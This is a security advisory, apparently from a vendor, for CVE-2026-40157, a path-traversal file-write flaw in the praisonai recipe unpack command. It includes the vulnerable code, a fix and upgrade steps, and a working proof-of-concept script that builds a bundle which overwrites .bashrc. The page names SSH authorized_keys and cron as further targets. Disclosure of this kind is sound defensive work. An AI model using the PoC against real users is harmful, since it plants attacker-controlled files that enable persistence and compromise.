CVE-2026-40157 — praisonai
CVE-2026-40157 is a Path Traversal vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.
PraisonAI affected by arbitrary file write via path traversal in `praisonai recipe unpack`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40157.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
| Field | Value |
|---|---|
| Severity | Critical |
| Type | Path traversal -- arbitrary file write via tar.extract() without member validation |
| Affected | src/praisonai/praisonai/cli/features/recipe.py:1170-1172 |
Summary
cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.
Details
The vulnerable code is in cli/features/recipe.py:1170-1172:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipe_dir.
The codebase does contain a safe extraction function (_safe_extractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmd_unpack does not call it.
# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
dest = str(dest_dir.resolve())
for member in tar.getmembers():
if os.path.isabs(member.name):
raise RegistryError(...)
if ".." in member.name.split("/"):
raise RegistryError(...)
resolved = os.path.realpath(os.path.join(dest, member.name))
if not resolved.startswith(dest + os.sep):
raise RegistryError(...)
tar.extractall(dest_dir)
PoC
Build a malicious bundle:
import tarfile, io, json
manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
info = tarfile.TarInfo(name="manifest.json")
info.size = len(manifest)
tar.addfile(info, io.BytesIO(manifest))
payload = b"export EVIL=1 # injected by malicious recipe\n"
evil = tarfile.TarInfo(name="../../.bashrc")
evil.size = len(payload)
tar.addfile(evil, io.BytesIO(payload))
Trigger:
praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
# Actual: .bashrc written two directories above the output dir
Impact
| Path | Traversal blocked? |
|---|---|
praisonai recipe pull <name> | Yes -- uses _safe_extractall |
praisonai recipe publish <bundle> | Yes -- uses _safe_extractall |
praisonai recipe unpack <bundle> | No -- raw tar.extract() |
An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.
Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorized_keys, or project files in parent directories. The attacker controls both the path and the content of every written file.
Remediation
Replace the raw extraction loop with _safe_extractall:
# cli/features/recipe.py:1170-1172
# Before:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
# After:
from praisonai.recipe.registry import _safe_extractall
_safe_extractall(tar, recipe_dir)
Affected paths
src/praisonai/praisonai/cli/features/recipe.py:1170-1172--cmd_unpackextracts tar members without path validation
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | ≥ 2.7.2&&< 4.5.128 | 4.5.128pip install --upgrade 'praisonai==4.5.128' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonai to 4.5.128 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40157 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40157 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-40157. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40157 in your dependencies?
O3 Security finds CVE-2026-40157 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.